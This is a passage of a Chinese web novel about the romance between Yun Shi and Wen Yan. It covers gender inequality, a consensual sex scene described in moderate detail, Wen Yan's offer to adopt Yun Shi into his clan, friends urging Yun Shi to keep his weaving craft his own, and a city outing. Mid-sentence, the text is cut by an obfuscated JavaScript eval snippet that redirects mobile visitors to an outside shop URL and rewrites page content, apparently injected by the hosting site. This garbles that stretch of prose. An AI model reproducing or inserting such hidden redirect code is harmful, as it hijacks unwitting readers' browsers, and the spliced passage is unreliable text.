他握紧云实的手,像在做一个承诺:“我温言在此向你保证,我不会娶妻,不会纳妾。不是因为你,而是我本就不愿。我既认定了你,便会专心对你一人好。这是我的选择,与你是否是女子无关。” 云实被他这番话震住了,心里翻江倒海。温言的承诺太重,太烫,烫得他心慌意乱。他张了张嘴,好半晌才找回自己的声音,带着点自己都没意识到的尖锐:“你不结婚,难道就不会被人说闲话吗?温伯父会同意?温家会答应?” 温言苦笑了一下:“当然会。或许比娶个不合心意的女子,招惹的闲话还多些。但那又如何?我走到今日,靠的从不是迎合旁人议论。”他目光深深看进云实眼里,带着一种近乎叹息的温柔,“有时候,我甚至会想,若你是女子,该多好。不是觉得你现在不好,而是……那样或许会少些阻力,你能更顺理成章地得到温家能给你的所有庇护和资源,我也可以为你铺一条更平坦的路,让你去做你想做的事,甚至……为你谋个合适的官身职衔。” “好,”云实忽然打断他,声音有些发紧,“假设我不是男人,我是姑娘。那请问,我的位置,会有什么根本的变化吗?除了你刚才说的,更‘顺理成章’地得到庇护、资源、官身?” 温言被问得一怔,下意识答道:“当然有。你若是我明媒正娶的妻子,便是温府名正言顺的女主人之一,你的后半生与温家紧密相连,荣辱与共。我可以动用更多力量为你打点,让你进入一些女子也能涉足的领域,比如内廷相关的织造、典制机构,以你的才能,立足并不难。这难道不是……好处吗?” 他说到最后,语气里带着一丝不确定,因为云实的表情并没有变得高兴。 “好处?”云实重复了一遍这个词,嘴角那点苦涩的弧度更明显了,眼里却燃起一点像是火苗的东西,“是,听起来是好处。靠嫁给你换来的好处。” 他猛地抽回被温言握着的手,坐直了身体,语气变得急促而清晰:“温言,我们不说虚的。我认识不少女子,我们一个一个说。我奶奶,是家里为了换牲口,半卖半嫁给爷爷的,她一辈子没说过愿意。我母亲,手艺比我爹还好,可铺子里的事,永远是我爹说了算,她只能辅佐,熬夜伤眼睛的精细活儿都是她做,名头是我爹的。我妹妹云舒,要不是我临走前硬插手,跟爹娘说让她管铺子,她早就被安排着嫁给镇上某个能帮衬家里的小子了,她才多大?她有没有经营之才,他们不是看不见,只是觉得‘女孩儿总要嫁人’。” 他喘了口气,继续道:“纸鸢,她后来写信告诉过我,当初上天衡宗学做饭手艺,是偷偷溜出来的。后面要不是天蕴姐帮忙撑腰,她自家酒坊被陷害那事,她一个未出阁的姑娘,能插手吗?就算她再能干,家里会让她抛头露面去处理?天蕴姐……流衍师兄被关禁闭时,我听说天衡宗霁雪仙尊有意传位,人选是流衍师兄。可天蕴姐的修为、心性、担当,哪里比流衍师兄差了?就因为她不是男子,所以连被首要考虑都不是,对吗?” 他看着温言渐渐变得凝重和怔然的脸,声音低了下去,却带着一股沉甸甸的力量:“温言,你看,我不是女子,才幸运地免于被家里随意安排婚事,免于被困在后宅,免于才华被理所当然地忽视或归功于他人。我才能坐在这里,跟你讨论这些。哪怕我喜欢你,我也得说,幸亏我不是女子,否则,我对你的喜欢,恐怕连说出口的资格,都要先经过衡量。我这个人本身的价值,反而要排在这些后面,对吧?” 温言彻底愣住了。他张着嘴,却发不出任何声音。云实说的每一个例子,都像一把小锤,敲打在他从未真正审视过的认知壁垒上。他生于温家,长于京城,见惯了世家联姻、女子依附、才华被性别所限的现实,他或许曾觉不妥,却从未如此具体、如此尖锐地,从云实,这个他放在心尖上、却因性别而处境尴尬的人的角度去思考过。 “我……”温言喉结滚动,声音干涩,“我真的喜欢你,云实。喜欢的就是你这个人,你的坚韧,你的灵性,你闷头钻研的傻劲,和你藏在沉默下的锋利。不是因为你是男是女。”他急于表白心迹,但随即被巨大的无力感笼罩,“可你说的这些……是世道如此,规矩如此。我纵然觉得不对,但……我一人之力,如何能改?” 他眼中掠过挣扎,最终化为一种近乎狠厉的决心:“我有野心,我想往上爬,爬到足够高的位置,掌握足够大的权力。或许到那时,我才有资格,也有能力,去尝试改变一些我认为不公的规则。但现在……”他看向云实,眼神里有歉疚,也有深深的无奈,“我恐怕,给不了你一个完全公平、不受非议的位置。我能给的,只有我全部的真心,和在我能力范围内,竭尽所能的庇护与支持。” 云实看着他,眼中的火苗渐渐熄灭了,变成一种深沉的、混合着理解与悲哀的平静。他知道温言说的是实话,是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16934577|192840||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真话。改变世道,谈何容易。温言肯为他做到这一步,承诺不娶,专心以待,在这个世道里,已是惊世骇俗,也必然背负巨大压力。 他忽然觉得很累,一种从骨头缝里渗出来的疲惫。他所有的挣扎、不甘、对自我价值的追寻,似乎都撞在了一堵名为现实的厚墙上。 “我现在这样,真的多亏了你。温言,你对我好,我知道。但我心里不踏实。你给我个准话吧,抛开那些情啊爱啊,你到底想从我这里得到什么回报?洗衣做饭?打理琐事?还是……”他停顿了一下,声音低得几乎听不见,“添柴暖床?” 最后四个字,像羽毛般轻,却重重砸在温言心口,让他脸色瞬间白了。 “云实!”他厉声打断,眼中满是痛色,“我从未那样想过你!” “那你怎么想?”云实抬眼看他,目光清凌凌的,没有嘲讽,只有一片空茫的执拗,“我住你的,吃你的,用你的,受你庇护,欠你无数。除了这点你或许感兴趣的手艺,和这个你喜欢的皮囊,我还有什么能给你?暖床的技法……”他自嘲地笑了笑,“我倒是真的会一点。” “别说了!”温言猛地抓住他的肩膀,力道大得让云实蹙眉。温言眼中翻涌着剧烈的情绪,心疼、愤怒、无力,还有一丝被云实此刻的自我厌弃所刺痛的心慌。 “不许你再那样想自己!你欠我什么?我自愿给你的,我心甘情愿!你要还?好,那你听好了,我要的回报,就是你好好活着,做你想做的事,变得开心一点,自信一点,把我这里当成你的家,而不是客栈!我要你留在我身边,不是作为偿还的抵押品,而是作为我温言认定的人!这个答案,你满意吗?” 车厢里一片寂静,只有两人略显急促的呼吸声。 云实看着温言因为激动而微微发红的眼眶,看着那双总是温和从容的眼眸里此刻盛满的痛楚和不容错辨的深情,心里那堵冰封的墙,忽然裂开了一道缝隙。很疼,但有一股灼热的东西,从裂缝里涌出来。 他忽然探身,在温言因惊愕而微张的唇上,很轻、很快地碰了一下。 一触即分。 温言整个人僵住了,瞳孔骤缩,抓着云实肩膀的手都忘了松开。 “这个,”云实的声音低哑,却带着一种破釜沉舟后的奇异平静,“也算手艺吗?还是说,这样……能让你觉得,我不是在还债?” 温言的呼吸彻底乱了。他看着云实近在咫尺的脸,那上面有疲惫,有倔强,还有一丝掩藏在深处的、小心翼翼的试探和豁出去的决绝。心脏在胸腔里疯狂鼓噪,所有理智的权衡、处境的考量,在这一刻都被那蜻蜓点水般的触碰和云实眼中复杂的光芒烧成了灰烬。 他甚至忘了如何反应,只是怔怔地看着云实靠近。然后,他感觉到肩膀被云实轻轻推了一下,脚步跟着后退,背抵在了冰凉的房门上。云实的气息笼罩上来,那个吻再次落下,不再是一触即分,而是带着一种不容置疑的、引导般的深入。他感受到了云实并不熟练却异常坚定的探索,感受着那双手生涩却目标明确地解开了他外衫的系带。 衣料摩擦的细微声响在寂静的房间里被放大。微凉的空气触及皮肤时,温言才从眩晕中惊醒了一瞬,发出一点含混的气音。 “云...”他想说点什么,声音却哑在喉咙里。 云实稍稍退开一点,在极近的距离里看着他,呼吸同样有些不稳,但眼神却比温言清明得多。他没有说话,只是伸手,指尖轻轻碰了碰温言滚烫的耳垂,然后顺着颈侧滑下,停留在锁骨的凹陷处,缓慢地摩挲。 温言一颤,随即微微仰起了头。云实的目光在他脸上逡巡,像在确认什么。然后,他再次吻了上来,这次轻了些,缓了些,带着一点安抚的意味,另一只手却坚定地环住了温言的腰,将他更紧地压向自己。温言无处可逃。或者说他并不想逃。他生涩地、几乎是狼狈地开始尝试回应,模仿着云实的动作,小心翼翼地触碰。他感觉到云实似乎低低地哼了一声,不知是鼓励还是别的什么,环在他腰间的手臂收得更紧。 接下来的事情,对温言而言,更像一场光怪陆离、脱离掌控的梦。他被云实牵引着,离开了门边,踉跄着走向内室。衣衫不知何时散落在地。 月光从窗棂缝隙漏进来,勾勒出云实清瘦却线条清晰的轮廓。温言的呼吸完全停滞了,只能死死地盯着上方的人影。当陌生的、带着薄茧的指腹抚过他胸膛时,他终于忍不住,从喉间溢出一点破碎的、近乎鸣咽的声音。 “云实...”他唤他的名字,声音抖得不成样子,充满了连自己都陌生的祈求和无措。 “别怕。”云实的声音很低,有些沙哑,却带着一种奇异的稳定力量。他吻了吻温言的额头,然后是眼皮,鼻梁,最后再次落在那双因为紧张而微微发颤的唇上。他的动作并不熟练,甚至有些笨拙,却能精准地捕捉到温言每一丝细微的反应。 汗水浸透了身下的布料,分不清是谁的。温言不知何时抓破了云实的肩背,留下深深浅浅的印记。他断断续续地、语不成调地念着云实的名字,像溺水者抓着唯一的浮木。 当浪潮终于席卷而过,将他的意识彻底冲垮时,所有的声音和感觉都离他远去。他瘫倒在床褥上,胸膛剧烈起伏,大脑一片空白,连动一根手指的力气都没有。 不知过了多久,身上一轻。云实小心地退开,在他身侧躺下,然后伸手,将他揽进了怀抱里。温言靠了过去,脸颊贴着对方微微起伏的胸膛,听着那里传来和自己一样急促未平的心跳。 房间里只剩下两人渐渐平复的呼吸声,和浓得化不开的、混合了某种清冽气息的暧昧味道。 温言的意识慢慢回笼,最先感受到的是全身无处不在的酸痛,随之而来的,是一种铺天盖地的、几乎将他淹没的羞赧和茫然。他……刚才都做了些什么?又……经历了什么? 他僵硬地躺在云实怀里,连眼睛都不敢睁开。这辈子从未有过的狼狈和失控,在这一刻达到了顶点。他只是沉默着,只是将脸更深地埋进云实的颈窝。云实的另一只手也抬起来,有一下没一下地、很轻地拍着他的背,像是在哄一个受惊的孩子。 这个认知让温言脸上刚褪下去的热度又轰然烧了起来,但奇异地,紧绷到极致的神经,却在这个笨拙的安抚动作里一点点松弛下来。极度的疲惫感如同潮水般将他淹没。在意识沉入黑暗前的最后一瞬,他模糊地想:这和他预想过的任何可能,都截然不同。 但似乎…也并不坏。 经历那晚之后,有些东西无声地改变了,但并非解决了任何根本问题。 最明显的是两人之间。不再有那么多小心翼翼的试探和欲言又止的隔阂。温玥似乎也察觉到了哥哥和云实哥哥之间气氛的微妙变化,但她年纪尚小,又被云实新做的、会随着光线变化浮现不同花色暗纹的漂亮帕子吸引了全部注意力,只当哥哥们感情更好了。温父看在眼里,不动声色,只是某次家宴上,让福伯给云实多盛了一碗他喜欢的汤。 这是一个在惊涛骇浪后,难得平稳甚至透出几分暖意的间歇期。像是湍急河流中的一小片回水湾,水流缓慢,阳光和煦。云实贪婪地汲取着这份安宁,却又隐隐觉得,这平静的水面下,暗流从未真正停歇。 这晚,温言处理完公务,又来到竹溪小院。云实刚将一组新的缓释织纹数据记录完毕,正对着灯出神。温言在他身边坐下,握了握他有些冰凉的手指,没有像往常一样先问他在琢磨什么。 静默片刻,温言开口道:“云实,有件事,我想跟你商量。” 云实回过神,转头看他:“嗯?” “我准备一下,过几天,去办领养手续。”温言语气平静,像在说一件早已决定好的寻常事。 云实一怔,脑子一时没转过来。领养?温言要……领养孩子?他下意识地问:“领养?你……想养个小孩?” 这念头让他心里莫名地紧了一下,有些乱。温言若是有了孩子,那他们之间……算怎么回事? 温言看着他眼中一闪而过的错愕和慌乱,明白了他的误解,忍不住低笑了一声,那笑声里带着无奈和纵容。他抬手,很轻地刮了一下云实的鼻梁:“想什么呢?不是领养别人。” 他往前倾了倾身,看着云实的眼睛,一字一句,清晰而郑重地说:“是领养你。” 云实彻底愣住了,眼睛微微睁大,似乎没消化这句话的意思。 温言耐心地解释道:“以我监察使之身,若想给予一个人最正式、最受律法认可和家族承认的保护与名分,明面上的婚嫁,对你我而言,绝无可能。但收养不同。我可以收养你为嗣子,或者,更稳妥些,以我父亲的名义,过继你为温家旁支养子,记入族谱。” 他看着云实依旧茫然的表情,放缓了语速:“一旦手续办成,录入官府籍档和温氏族谱,你就是白纸黑字、名正言顺的温家人。届时,你的身份便彻底过了明路,不再是来历不明的‘义弟’。天衡宗旧事,只要我不松口,旁人便再难轻易拿来做文章。你在温家享有的一切待遇、我为你提供的所有庇护,都将合情合理,无人能置喙。甚至……以后若有机会,我以父亲或兄长的名义为你铺路、谋职,也顺理成章。” 他顿了顿,声音更沉了些,带着一种不容置疑的力度:“这和成亲没两样,云实。在某些方面,甚至更牢固。它绑定的不是男女姻缘,而是宗法血缘,是这个世道最看重、也最难撕破的一层关系网。有了这层名分,你才能真正在这里扎根。” “这……”云实喉咙发干,心跳得有些快,“这你得让我考虑一下。” 代价呢?他将彻底失去云实这个名字背后那点可怜的、独立的过往吗?他将永远以温家养子的身份存在吗? 温言没有催促,只是点了点头,握着他的手轻轻捏了捏:“嗯,不急。你慢慢想。这只是我想到的一个法子,你若不愿意,我们便再想别的。总归……日子还长。” 夜更深了。温言吹熄了工坊里多余的灯烛,只留下书案旁一盏光线柔和的,然后很自然地牵起云实的手。 “歇吧,明天再琢磨。” 云实被他牵着,默默走出工坊,穿过月色浸润的庭院,走向温言独居的静澜院。这已成为这几日心照不宣的习惯。白日云实多在工坊,晚上便宿在这里。 静澜院内室,灯影朦胧。两人简单梳洗后,并肩躺在宽大的床榻上。温言的手臂习惯性地环过来,让云实枕着,另一只手有一下没一下地轻抚着他的头发。空气里弥漫着安神香与彼此身上熟悉的气息,宁静而亲昵。 但云实的身体并没有完全放松。他睁着眼,望着帐顶模糊的绣纹,脑子里反复回响着温言早些时候的话——“这和成亲没两样”。 是啊,没两样。都是将两个人用最牢固的社会关系纽带绑在一起。只不过,一条是红绸,一条是族谱上的墨线。他们现在夜夜同榻而眠,肌肤相亲,比许多名义上的夫妻更亲密无间。可这份亲密,关起门来是温暖,推开门去,却依旧需要一层更“正当”的名分来遮挡世人的眼光,来应对潜在的波澜。 温言敏锐地察觉到了他身体细微的僵硬和沉默。 “还在想那件事?”温言低声问,手指无意识地绕着他一缕头发。 “嗯。”云实含糊地应了一声,往他怀里贴得更紧了些,仿佛汲取那令人安心的体温,“你说……收养。” “嗯。”温言应道,声音在寂静的夜里格外清晰,“是个法子。但我说了,不急。你慢慢想,我们有的是时间。” 他侧过身,在昏暗光线里看着云实的侧脸,语气是前所未有的郑重:“云实,我希望你明白,我提这个,不是要给你压力,或者用这层关系束缚你。恰恰相反,我是想给你一套凭证。有了它,无论你想继续钻研你的织纹,还是将来想做别的,至少温家养子这个身份,能替你挡掉许多不必要的麻烦和窥探。你可以更安心地做你想做的事。” 他顿了顿,指尖抚过云实微蹙的眉心:“当然,这也会把你和我、和温家绑得更紧。你会彻底成为‘温家’的一部分,荣辱与共。这其中的分量,你得自己掂量清楚。无论你最后怎么选,我都在这里。” 云实听着他平稳的心跳,温言的话语在耳边,却像隔了一层厚布,闷闷的,落不到实处。那些利弊分析他听懂了,但真正堵在他心口、让他喘不过气的,是另一个清晰得刺骨的念头:以后,他就是“温实”了。 这个名字会写在官府黄册上,刻进温氏的族谱里。“云”这个字,将从他公开的名姓中被摘出去,或许还能做个中间的字眼留点体面,但所有人都将首先称呼他“温少爷”、“温公子”。 他放弃的,真的只是“云”这个字吗?形式上,他确确实实是出继了,成了别家的子嗣。这就像奶奶和母亲,她们个人的名字和来处,在日复一日的称呼中被磨平了棱角,最终只剩下一个依附于夫家的模糊影子。她们没得选,或者说,整个世道没给她们别的选项。 而现在,轮到他了。他看似有选,但实际上呢?拒绝,意味着继续顶着温言义弟这个不伦不类、随时能被掀翻的名头,像浮萍一样无依;意味着他摸索出的那点手艺,连个正经出处和靠山都没有,更别提推广。接受,是唯一稳妥的路,是用云实这个公开的社会身份,去交换“温家养子”这身虽然别扭却足够坚固的铠甲。 这样不对。他心里有个声音在喊。他和她们,本质上都是在更大的力量面前,被迫或“明智”地交出了一部分自我,以换取生存的空间。 更让他喉咙发紧的是,他清楚地知道,自己和奶奶、母亲、妹妹云舒、纸鸢甚至天蕴的没得选,程度还远远不同。可正是这份清醒的认知,非但没有减轻他的痛苦,反而让那痛苦更加尖锐——他为自己即将到来的妥协而羞愧,又为她们早已承受、并且可能永远无法摆脱的境遇感到无力的悲愤。这两种情绪交织在一起,沉甸甸地压在心口,几乎要将他对温言的那点依赖和情感都暂时挤到角落。 “让我想想……”他最终只是低声重复了这句,翻了个身,将脸用力埋进温言的颈窝。 温言收拢手臂,将他圈紧。 20. 【十七】 予来找云实的时候,云实正对着一块新到手的布料较劲。他眉头拧得死紧,连予大咧咧推开工坊门、带进一阵凉风和外面的喧嚣都没立刻察觉。 “云实!嘿!回魂了!”予几步蹦到他案几前,伸手在他眼前晃了晃,脸上是惯常那副没心没肺的笑,“纸鸢姐让我来问你,哪天得空,咱们仨再聚聚?老地方,栖霞镇那家客栈的烧鹅,她想念得紧,我也馋了。” 云实这才抬起头,揉了揉发酸的眼睛,看着予鲜活的脸,心里那点沉浸在难题中的郁结稍散。 “聚聚?”他重复了一句,有些恍惚。这些日子被困在温府,困在工坊和静澜院之间,困在那些精密的织纹和更精密的身份算计里,几乎忘了外面还有这般轻松的邀约。 “好……好啊。看你们时间,我都可以。”他声音有些干。 予敏锐地察觉到他情绪不高,一屁股在旁边的空凳子上坐下,胳膊肘支在案几上,凑近了看他:“咋了?又跟你那好哥哥闹别扭了?还是这破布头子不听你使唤?” 他指了指云实手里那块灰扑扑的料子。 云实扯了扯嘴角,没回答布料的问题,沉默了片刻,忽然低声说:“温言……他说,打算正式收养我。过继到温家名下,入族谱那种。” “啊?”予愣住了,脸上的容敛去,眼睛瞪大了些,“收养?这……这算是哪一出?他不是对你……” 他话没说完,但意思明显。都睡一个被窝了,再来个父子名分?听着就别扭。 “他说,这是目前能给我的、最正式也最稳妥的身份。有了这层名分,天衡宗旧事才算真正揭过,我在京城,在温家,才算真正立住了脚。”云实语气平淡,像在复述别人的事,“他还说,这和成亲没两样。” 予抓了抓头发,脸上露出毫不掩饰的纠结和一丝鄙夷:“不是……云实,这话你听着不硌应吗?是,我知道温大人对你好,真心实意。可这法子……总感觉哪儿不对劲。把你名字前面加个温字,你就真是他温家人了?那你这身本事呢,以后算谁的?温家的?还是你云实的?” 他越说越激动,声音不自觉地提高:“我跟纸鸢姐在外面跑,看得多了!多少好东西、好手艺,就是因为做它的人没个硬靠山,或者被哪个豪门大族看上了,连人带方子一起被请了去,最后挂的都是别人的名头,实惠落不到真正需要的人手里!要是你费劲巴拉琢磨出来的东西,最后只能给那些老爷太太们添几件更舒服的里衣,那我们仨当初折腾个什么劲?不如翻墙跑路算了!天下那么大,还没个能容咱们喘口气、做点实在事的地方?” 予的话像一块石头,砸进云实本就波澜起伏的心湖。他说的,正是云实心底最深的隐忧之一。技术被垄断,流入上层,成为巩固特权的工具,而非普惠众生。这和他想让冬天里挨冻的人有件暖衣的初衷,背道而驰。 “跑路……”云实喃喃重复,眼神有些空茫。 这念头他不是没有过,但温言呢?那些尚未偿还的恩情呢?还有体内那枚不知是福是祸的内丹…… 这时,门外传来轻盈却稳当的脚步声,纸鸢的声音响起:“大老远就听见予在这儿嚷嚷‘跑路’,又出什么幺蛾子了?” 她推门进来,头发利落地束在脑后,眉宇间比上次见面时更多了几分干练与沉静。她先对云实笑了笑,目光扫过工坊内景和云实手边的料子,最后落在予那张愤愤不平的脸上。 “纸鸢姐!”予立刻告状,“温大人要把云实收养了!入族谱!改名换姓那种!” 纸鸢脸上的笑容淡了下去,她走到云实另一边坐下,没有像予那样激动,而是认真地看着云实:“云实,你自己怎么想?温言他……真的给你选择了吗?” 她问得很直接。 云实喉结滚动了一下,苦涩道:“他说,让我考虑,不急。” 纸鸢轻轻哼了一声,那声音里带着一种过来人的了然和淡淡的讥诮:“考虑?云实,你摸着自己的良心说,你现在除了同意,还有别的路可以考虑吗?拒绝他,你以什么身份继续待在京城?继续做这个朝不保夕、全赖他个人情面遮护的义弟?你那点手艺,没有温家这块牌子在后面,谁认?研备司的门朝哪边开你都摸不着。你不是没得选,你是根本没得选。他给你的,是一个包装成选择的必然结果。” 云实脸色白了几分,无言以对。 纸鸢见他这样,语气缓了缓,但依旧严肃:“听我的,这事,能不办,就不办。拖得一时是一时。名分这种东西,一旦套上,想摘下来就难了。你现在最要紧的,不是这个。你那织纹的法子,研备司那边审核有进展了吗?” 云实摇头:“还是老样子,只说待进一步评估,没有下文。” “如果他们审核过了,会不会直接把你拉去,像工匠一样圈起来干活?”纸鸢追问,这是她最担心的一点。 提到这个,云实倒是稍微打起一点精神,他指了指案头那本厚厚的、写满密密麻麻符号和心得的簿子:“我的笔记和最重要的几张核心结构推演图,都在我自己手里。研备司备案交上去的,只是几件成品的效用说明和几张基础示意图。就算他们拿到那几张图,没有我这本子里记的失败过程、材料反应细节和我自己瞎琢磨出来的那套手感和力道,抄去了也学不像。做出来的东西,要么没效,要么不稳定。” 纸鸢闻言,眼神亮了一下,赞许地点点头:“这就好。只要核心的窍门还在你自己脑子里,就不算完全被人拿捏。”她沉吟片刻,忽然道,“云实,你知道我当初是怎么把坳子布和那个布袋的麻烦摆平的吗?” 云实和予都看向她。这事他们后来偶有提及,但纸鸢从未细说。 纸鸢语气平静地讲述起来:“当时,镇北侯府的人盯上了坳子布的利润和我可能掌握的布袋秘密,明里暗里施压,流言也起来了。我做的第一件事,是立刻、彻底停止了坳子布的公开销售,也不再允许任何形式的布袋流出白石坳,哪怕是最简陋的那种。” “然后,我把坳子布的织造工艺进行简化,改了个名字,叫韧帆布。” “接着,我通过天蕴姐留下的一些人脉,迂回接触到了玄戈城管辖下、负责地方工坊品级评定和税收优惠的几个低阶官员。我带着简化后的韧帆布样品和一份工坊资质申请,正式上门递交。不求特殊照顾,只求一个合法经营、品质尚可的官方认证。” “拿到这个名头后,我不再面向大众市场,转而通过一些可靠的中间人,为玄戈城里一些与镇北侯府关系不那么密切的中层官员家眷、以及本地几家需要稳定优质酒水供应和包装材料的酒楼、富户,提供小批量的定制或特供服务。布料就是韧帆布,装酒用的囊袋也是普通加厚浸蜡的,只不过做工更精细些。价格公道,质量过硬,服务周到。” 她顿了顿,看向云实:“没有贿赂,没有攀附,甚至没有直接对抗。我只是把可能惹眼的东西藏起来,把技术抹平,然后给自己套上一层最普通、最合规的外壳,再去找一个相对安全、且有真实需求的缝隙市场。风暴眼看起来吓人,但边缘地带,只要够小心,总能找到转圜的空间。” 云实听得怔住了,他仔细消化着纸鸢的话。 “你的意思是……先抹去技术中敏感、惹眼的部分,然后通过正规途径取得一个合法的身份,再寻找不那么扎眼、但确实需要这种改良品的客户?”他试图总结。 “差不多是这个意思。”纸鸢点头,“但前提是,核心的、真正有价值的东西,必须牢牢攥在自己手里,并且不能让人轻易看穿你抹去了什么。现在有予帮我跑腿打听消息,京城和各地方的关系网,我多少能摸到一些边角,比在白石坳时灵通多了。” 她话锋一转,目光灼灼地看着云实:“不过,云实,我刚才说的,只是守成,是没办法时的办法,是为了活下去。我今天跟你交这个底,不是劝你也像我这样缩起来。恰恰相反。” 她的声音里带上了一种罕见的、充满魄力的锐气:“如果,我是说如果,有机会,有那个口子,或者哪怕需要冒点险、冲上那么一两把,能把你的好东西真正推广出去,让更多该用上的人用上。比如你说的,让守城的兵卒冬天好过点,我是很愿意拼尽全力帮你的!我非常、非常想你能回来,我们像以前商量过的那样,正正经经地合作!你出手艺和脑子,我出经营和门路,予出力气和消息,咱们干点实实在在、对得起良心的事!” 予立刻在旁边举手,眼睛发亮:“我同意!纸鸢姐说得对!老是躲着藏着,憋屈死了!云实,你那织纹要是真能做出来又暖和又有点防护的军服里衬,那可是大功德!比给那些贵人做一百件安神里衣都强!” 云实的心被纸鸢这番话狠狠撞了一下。他看到了另一种可能,一种不是完全依附温言,也不是彻底逃避,而是凭借自身技艺和朋友之力,在规则缝隙中开拓一方天地的可能。 但随即,现实的重压又让他眼神黯淡下去。 “这地方……我真有点受不了了。”他低声说,带着深深的疲惫和迷茫,“温言他……是很好,对我也好。可有时候,那种好,那种周全的安排,也让我觉得……有点透不过气。我像个被他妥帖收藏起来的物件,方方面面都被考虑到了,唯独我自己想怎么活,好像没那么重要。” 他看向纸鸢,又看看予,声音里带着一丝脆弱的渴望:“我想过跟你们走,真的。但……好像又没有足够非走不可的理由。温言这里,毕竟安稳。我也想回家,回青石镇看看爹娘弟妹,可外面都传我已经死了,温言也劝我,说现在回去,万一被人认出,反而给他们惹祸。” “对了,”云实想起一事,问道,“天衡宗那边……现在怎么样了?有消息吗?” 纸鸢神色一正:“说实话,具体情形我也不甚清楚。天蕴姐前阵子有信来,只简单说了宗门内有些变动,她似乎更忙了。我正好打算过些日子,亲自回天衡宗辖地一趟,一来看看我家酒坊的后续,二来,也想当面见见师姐和……流衍师兄。” 她看着云实,眼神清澈而坚定:“你的情况,需要我告诉他们吗?我觉得,应该告诉天蕴师姐,她一直很担心你。至于流衍师兄……”她顿了顿,语气里多了几分复杂的情绪,“我觉得,他更有权利知道。” “跟他们说吧。纸鸢,麻烦你。师姐……应该也担心我。师兄……我对不起他,他更有权利知道我现在是个什么鬼样子。”他自嘲地笑了笑,“是好是歹,总该有个交代。” 纸鸢郑重地点了点头:“好,我明白了。” 三人又聊了些琐事,予插科打诨,试图驱散一些凝重的气氛。但分别时,云实心中那份沉重的迷茫并未减轻,只是多了一丝来自朋友的暖意和一条或许可行的、荆棘丛生的备选之路。 纸鸢和予离开后,工坊重新安静下来。云实坐在案前,手指无意识地摩挲着那块料子,目光却穿透了布料,不知落在何处。 过了几日,温言难得休了个长假,说要带云实出去散散心。 云实起初有些茫然,散心?去哪儿? 他默默收拾了一下,换了身温言早为他备下的、料子柔软舒适却并不扎眼的常服。衣服很合身,针脚细密,衬得他比初到京城时精神了些。 温言没有带仆从,只他们两人,像是寻常人家的兄弟出游。没有去那些达官显贵云集的园林诗会,也没去香火鼎盛的寺观,而是先去了西市。这里比内城喧嚣得多,商铺林立,人流如织,三教九流混杂,反而有种粗粝的生气。 温言似乎兴致不错,带他尝了几样有名的街头小吃,看了会儿杂耍,又进了一家专卖文房雅玩、兼营古籍修复的老铺子。掌柜是个头发花白、戴着水晶镜片的老者,见温言进来,立刻放下手中的镊子,笑容满面地迎上来,口称“温公子”,态度恭敬却不谄媚。目光掠过云实时,也微微颔首致意,虽不认识,但见是温言带来的人,便自然而然地带上几分客气。 从老铺子出来,又逛到一家绸缎庄。掌柜是个精明的中年妇人,见温言气度不凡,身边跟着的云实虽沉默,衣着举止却也不俗,热情得恰到好处,介绍料子时口若悬河,却始终保持着令人舒适的距离,绝不会过分贴身或强推。 在茶楼歇脚时,小二殷勤周到,添茶倒水手脚麻利,说话轻声细语;路上偶然遇到几个似乎认得温言的寻常商贾或低阶文吏,也都客气地驻足打招呼,对云实这个生面孔,亦投以善意的、略带好奇却绝无冒犯的打量。 起初,云实只是跟着,温言让他尝什么他便尝,看什么他便看,有些心不在焉。但渐渐地,一种异样的感觉浮上心头。 太……顺遂了。周围的人,无论是掌柜、小二,还是路上偶遇的陌生人,对他的态度都透着一股……客气。没有人会对他不耐烦,没有人会用挑剔或评估货物般的眼神看他,更没有人会因为他多看几眼某样东西或询问价格时略显迟疑而露出鄙夷。 他忽然清晰地回想起在青石镇的时候。 街坊邻居,熟悉的叔伯婶娘自然亲切,但那些没什么交情的铺子老板、过往行商,对他的态度大多是平淡的,带着一种看待“云家那个还算勤快但不太活络的大儿子”的寻常眼光。家里铺子忙时,他出去跑腿送货,到一些大户人家或别的店铺,遭遇冷脸、敷衍、甚至因他年纪轻而故意刁难克扣的事,并不少见。在酒楼后厨帮工那阵子,一天受的掌柜白眼、客人呵斥、同僚挤兑,怕是比现在一年经历的不客气都要多得多。 那时他并未觉得特别难以忍受,仿佛那是生活本该有的粗粝质地。他学着父亲的样子,赔着笑,该低头时低头,该闷声干活时绝不多话,心里憋着一股劲,只想着把事办好,把钱挣到。 而现在…… 他看着茶楼窗外熙攘的人群,看着那些为生计匆匆奔忙、脸上带着各种真切愁苦或麻木神色的贩夫走卒,再看看自己面前这杯清冽飘香、价格足以抵上寻常人家几日饭资的香茗,身上这身毫无磨损、洁净挺括的衣裳,以及周围这无形中将他与窗外那个世界隔开的客气屏障。 他并没有因此感到高兴,或者扬眉吐气的快意。反而有一种更深沉的茫然,和一丝连自己都觉得不应该的……疏离与愧疚。这舒适、这尊重,是温言带来的,是温家这个姓氏笼罩下的特权。而他,像一个偶然闯入者,享用着这一切,却不知自己究竟付出了什么,又是否真正属于这里。 温言坐在他对面,正将一碟精致的点心推到他面前,嘴角噙着温和的笑意,眼神里带着显而易见的关切,似乎在观察他是否开心。 云实忽然明白了。温言在用他的方式告诉他:留在这里,我会让你一直过这样的日子,受人礼遇,无忧无虑。 温言是想让他高兴。 云实看着温言期待的眼神,心头那点复杂的情绪翻滚了一下,最终被他强行压了下去。他不想让温言失望,更不想在这难得的、温言特意空出来的时间里,扫了他的兴。 于是,他拿起一块点心,咬了一口,对温言露出一个笑容,“嗯,好吃。”他说,又指了指窗外某个杂耍摊子,“刚才那个吐火的,挺厉害。” 温言笑着应了句什么,他没太听清,只是点点头。喝完茶,两人又顺着人流慢慢走,街边卖什么的都有。他看到个竹编的蚂蚱,编得挺像,顺手拿起来看了看,又放下了。温言问要不要买点,他摇摇头,“看看就行。” 下午天有些闷,额角出了层薄汗。温言递过来帕子,他接过去擦了擦。路过茶摊,温言要了两碗凉茶,他端起碗慢慢喝完,舌尖有点苦,又有点回甘。 